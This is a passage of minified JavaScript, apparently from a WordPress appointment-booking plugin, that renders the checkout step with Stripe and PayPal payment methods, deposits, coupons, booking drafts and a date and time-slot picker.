.mpa-preloader"),this.$gatewayPreloader.removeClass("mpa-hide"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(".mpa-stripe-payment-method."+i),t.$fields=e.find(".mpa-stripe-payment-fields."+i);const n=this.methods[i].getControl();if(null!==n){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,n.mount(e),n.on("ready",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove("mpa-preloader-skeleton-pulsate")}))}"card"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector("payment-request-button"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on("ready",(e=>{this.mountedMethod("payment_request_button"),s.classList.remove("mpa-preloader-skeleton-pulsate")}))):(s.classList.add("mpa-hide"),document.querySelector(".mpa-stripe-payment-request-button-separator").classList.add("mpa-hide")))}))})),e.find('input[name="stripe_payment_method"]').on("change",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(".mpa-errors")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case"payment":case"card":case"ideal":case"sepa_debit":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass("active",t),s.$fields.toggleClass("mpa-hide",!t)}}getElementSelector(e){return"sepa_debit"===e&&(e="iban"),"#mpa-stripe-"+e+"-element-"+this.uid}render(){let e="";e+='<section class="mpa-stripe-payment-container">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='<div class="mpa-errors"></div>',e+="</section>",e}renderNavigation(){let e="";e+='<nav class="mpa-stripe-payment-methods">',e+="<ul>";for(let t of this.paymentMethods.keys){let s=t===this.selectedMethod;e+='<li class="mpa-stripe-payment-method '+t+(s?" active":"")+'">',e+="<label>",e+='<input type="radio" name="stripe_payment_method" value="'+t+'"'+(s?' checked="checked"':"")+">",e+=" "+this.methods[t].title,e+="</label>",e+="</li>"}return e+="</ul>",e+="</nav>",e}renderFields(e){let t="";switch(t+='<div class="mpa-stripe-payment-fields '+e+(e===this.selectedMethod?"":" mpa-hide")+'">',t+="<fieldset>",e){case"payment":t+=this.renderPaymentFields();break;case"card":t+=this.renderCardFields();break;case"ideal":t+=this.renderIdealFields();break;case"sepa_debit":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+="</fieldset>","sepa_debit"===e&&(t+='<p class="notice">',t+=h("By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.","motopress-appointment").replace("%s",C().settings().getBusinessName()),t+="</p>"),t+="</div>",t}renderPaymentFields(){let e="";return e+='<div id="mpa-stripe-payment-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-element"></div>',e}renderCardFields(){let e="";return e+='<label for="mpa-stripe-card-element-'+this.uid+'">',e+=h("Credit or debit card","motopress-appointment"),e+="</label>",this.methods.card.isEnabledWallets()&&(e+='<div id="mpa-stripe-payment-request-button-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement"></div>',e+='<div class="mpa-stripe-payment-request-button-separator">'+h("or","motopress-appointment")+"</div>"),e+='<div id="mpa-stripe-card-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate"></div>',e}renderIdealFields(){let e="";return e+='<label for="mpa-stripe-ideal-element-'+this.uid+'">',e+=h("Select iDEAL Bank","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-ideal-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate"></div>',e}renderSepaDebitFields(){let e="";return e+='<label for="mpa-stripe-iban-element-'+this.uid+'">',e+=h("IBAN","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-iban-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate"></div>',e}renderRedirectNotice(){let e="";return e+='<p class="notice">',e+=h("You will be redirected to a secure page to complete the payment.","motopress-appointment"),e+="</p>",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass("mpa-hide")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass("mpa-hide").html("")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class We extends qe{load(){return this.loadPromise=_("/payments/settings",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Ge{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,s){if(this.api=e,this.settings=s,this.elements=t,new.target===Ge)throw new Error("Cannot construct Abstract instances directly");if(void 0===this.setupProperties)throw new Error("Must override method: setupProperties()");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('"name" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('"title" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,s){let i={type:this.name,billing_details:{name:e.padEnd(3," "),email:t,phone:s}};return null!==this.control&&(i[this.name]=this.control),i}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error("Abstract Method has no implementation")}processPayment(e,t,s){const i=e.getCustomer(),n=this.createPaymentMethodData(i.name,i.email,i.phone);return this.createPaymentMethod(n).then((t=>{if(t.error)throw new Error(t.error.message);return v("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return"requires_action"==e.status&&"redirect_to_url"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error("Unable to process payment.",e.message),null!=s.error_handler&&s.error_handler(e.message),e}))}}class Ye extends Ge{setupProperties(){this.name="payment",this.title=h("Payment methods","motopress-appointment"),this.customerDetails={name:"",email:"",phone:""}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:"",email:"",phone:""}}confirmPayment(e,t){const s=this.getCustomerDetails(),i=this.elements;return new Promise(((e,t)=>{i.submit().then((({error:s})=>{if(s){const e=s.message||"";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var n,a,o;return this.api.confirmPayment({elements:i,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(n=s?.name)&&void 0!==n?n:null,email:null!==(a=s?.email)&&void 0!==a?a:null,phone:null!==(o=s?.phone)&&void 0!==o?o:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:"if_required"})})).catch((e=>{throw console.error("Error during payment confirmation:",e),e}))}processPayment(e,t,s){return v("/payments/prepare",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if("requires_action"===e.status){if("redirect_to_url"!==e.next_action.type)throw new Error("The user has cancelled or failed to complete the payment.");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error("Unable to process payment.",e.message),e;throw new Error("Unable to process payment.")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create("payment",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?"never":"auto",email:e?.email?"never":"auto",phone:e?.phone?"never":"auto",address:{line1:"auto",line2:"auto",city:"auto",state:"auto",country:"auto",postalCode:"auto"}}}})}}class Qe extends Ge{setupProperties(){this.name="card",this.title=h("Card","motopress-appointment"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:C().settings().getCurrency().toLowerCase(),total:{label:h("Total","motopress-appointment"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return["apple_pay","google_pay","link"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(/([-_][a-z])/g,(e=>e.toUpperCase().replace("-","").replace("_","")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create("paymentRequestButton",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:"50px"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:"card",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete("fail"),new Error(t.error.message);return v("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete("success"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete("fail"),this.paymentRequestButtonEvent=null,console.error("Unable to process payment.",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Ke extends Ge{setupProperties(){this.name="sepa_debit",this.title=h("SEPA Direct Debit","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create("iban",{style:this.settings.style,supportedCountries:["SEPA"]})}}class Ze extends Ge{setupProperties(){this.name="bancontact",this.title=h("Bancontact","motopress-appointment")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Je extends Ge{setupProperties(){this.name="ideal",this.title=h("iDEAL","motopress-appointment")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create("idealBank",{style:this.settings.style})}}class Xe extends Ge{setupProperties(){this.name="giropay",this.title=h("Giropay","motopress-appointment")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class et extends Ge{setupProperties(){this.name="sofort",this.title=h("SOFORT","motopress-appointment")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class tt extends We{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId="stripe",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader")}isValidAcceptTerms(){if(!C().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=C().settings().getCurrency()),t.toUpperCase()){case"BIF":case"CLP":case"DJF":case"GNF":case"JPY":case"KMF":case"KRW":case"MGA":case"PYG":case"RWF":case"UGX":case"VND":case"VUV":case"XAF":case"XOF":case"XPF":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,C().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:h("Total","motopress-appointment"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0<this.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0<this.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new je(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error("The payment gateway is not valid."));this.$gatewayPreloader.removeClass("mpa-hide");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),n={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,n).then((e=>(this.$gatewayPreloader.addClass("mpa-hide"),e)),(e=>{throw this.$gatewayPreloader.addClass("mpa-hide"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:"auto",payment_methods:[],public_key:"",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:"2023-10-16"}),s=t.elements({mode:"payment",locale:this.settings.locale,currency:C().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case"payment":e.payment=new Ye(t,s,this.settings),e.payment.provideCart(this.cart);break;case"card":e.card=new Qe(t,s,this.settings),e.card.getControl().on("change",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on("token",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on("cancel",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on("click",this.onClickPaymentRequestButton.bind(this)))}));break;case"sepa_debit":e.sepa_debit=new Ke(t,s,this.settings),e.sepa_debit.getControl().on("change",this.onChange.bind(this));break;case"bancontact":e.bancontact=new Ze(t,s,this.settings);break;case"ideal":e.ideal=new Je(t,s,this.settings);break;case"giropay":e.giropay=new Xe(t,s,this.settings);break;case"sofort":e.sofort=new et(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class st extends We{setupProperties(){super.setupProperties(),this.gatewayId="paypal"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest("form").find(".mpa-button-next").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest("form").find(".mpa-button-next").show()}mount(e){let t=this;t.$errorWrapper=e.find(".mpa-paypal-error"),t.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),paypal.Buttons({onInit(e,s){if(C().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||s.disable(),e.addEventListener("change",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(C().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest("form").find(".mpa-accept-terms")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click"))},createOrder:function(e,s){return t.$errorWrapper.addClass("mpa-hide"),t.$gatewayPreloader.removeClass("mpa-hide"),v("/payments/prepare",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass("mpa-hide"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(".mpa-booking-step-payment .mpa-actions .mpa-button-next").trigger("click")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass("mpa-hide")}}).render(e.find(".mpa-paypal-container")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class it{static createGateways(e,t){let s={};for(let i of C().settings().getActiveGateways()){let n=e.find(".mpa-"+i+"-payment-gateway .mpa-billing-fields"),a=0!==n.length?it.createGateway(i,n,t):null;null!==a&&(s[i]=a)}return s.free=new Ue({},t),s}static createGateway(e,t,s){switch(e){case"manual":case"test":case"cash":case"bank":return new qe(t,s);case"paypal":return new st(t,s);case"stripe":return new tt(t,s);default:return wp.hooks.applyFilters("mpa_create_gateway",null,e,t,s)}}}class nt extends Ee{setupProperties(){super.setupProperties(),this.lastCartHash="",this.gatewayId="",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(".mpa-checkout-form"),this.$order=this.$element.find(".mpa-order"),this.$billingSection=this.$element.find(".mpa-billing-details"),this.$paymentGateways=this.$billingSection.find(".mpa-payment-gateway"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name="payment_gateway_id"]'),this.$message=this.$element.find(".mpa-message").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(".mpa-deposit-section"),this.$depositSwitcher=this.$element.find('input[name="mpa-deposit-switcher"]'),this.$depositTable=this.$element.find("#mpa-deposit-table"),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.couponSection=null}theId(){return"payment"}propertiesSchema(){return{gatewayId:{type:"string",default:""},isDepositDisabled:{type:"bool",default:!1},acceptTerms:{type:"bool",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass("mpa-hide",!e.trim().length)}clearErrorMessage(){this.setErrorMessage("")}hideDeposit(){this.$deposit.addClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass("mpa-hide"),this.$depositSwitcher.prop("disabled",!1),this.setProperty("isDepositDisabled",this.$depositSwitcher.prop("checked"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty("gatewayId",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on("submit",(e=>!1)),this.$paymentGatewayButtons.on("change",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),C().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on("input",(e=>{this.$depositTable.toggleClass("mpa-hide",e.target.checked),this.setProperty("isDepositDisabled",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():""})}))}loadEntities(){this.isLoaded||this.$element.removeClass("mpa-hide"),this.lastCartHash=this.cart.getHash("order"),C().settings().isCouponsEnabled()&&(this.couponSection=new He(this.$element.find(".mpa-coupon-details"),this.cart)),this.updateOrderDetails();let e=[];return"free"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,"order")?(this.lastCartHash=this.cart.getHash("order"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters("mpa_booking_reload_drafts",!1)?this.loadDrafts():Promise.resolve(this)}reset(){C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),this.lastCartHash="";let e=C().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(":checked").prop("checked",!1),e in this.gateways?(this.setProperty("gatewayId",e),this.$paymentGatewayButtons.filter('[value="'+e+'"]').prop("checked",!0)):this.resetProperty("gatewayId");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(xe(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s="";return t>0&&(s+='<table class="widefat">',s+="<tbody>",s+='<tr class="mpa-deposit-title">',s+='<td class="column-title" colspan="2">',s+=h("Deposit","motopress-appointment"),s+="</td>",s+="</tr>",s+='<tr class="mpa-deposit-now">',s+='<th class="column-title">',s+=h("Paying now","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=Ae(e.deposit),s+="</th>",s+="</tr>",s+='<tr class="mpa-deposit-left">',s+='<th class="column-title">',s+=h("Left to pay","motopress-appointment"),s+="</th>",s+='<th class="column-price">',s+=Ae(t),s+="</th>",s+="</tr>",s+="</tbody>",s+="</table>"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(":checked").length>0&&this.toggleDepositSection()}let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:""}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId("free",!1);else{const e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass("mpa-hide",e),this.$paymentGatewayButtons.prop("required",!e)}loadGateways(){let e=this.$billingSection.find(".mpa-payment-gateways");this.gateways=it.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return v("/bookings/draft",{...wp.hooks.applyFilters("mpa_booking_draft_data",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop("disabled",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(":checked");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return""!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!C().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop("disabled",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return"object"==typeof e&&"function"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class at extends Ee{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){Q(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,s){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||C().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;"object"==typeof i&&(i.firstDayOfWeek=C().settings().getFirstDayOfWeek());let n={formatDate:E,inline:!0,locale:i,monthSelectorType:"static",showMonths:1};t=jQuery.extend({},n,t);let a=null;return a=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),a}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:C().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=k(this.date),e.time=new B(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:C().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:C().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,s)=>s.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return _("/calendar/time",{service_id:e,employee_in:i.employee_in?i.employee_in.join(","):"",location_in:i.location_in?i.location_in.join(","):"",date_from:E(t,"internal"),date_to:E(s,"internal"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let 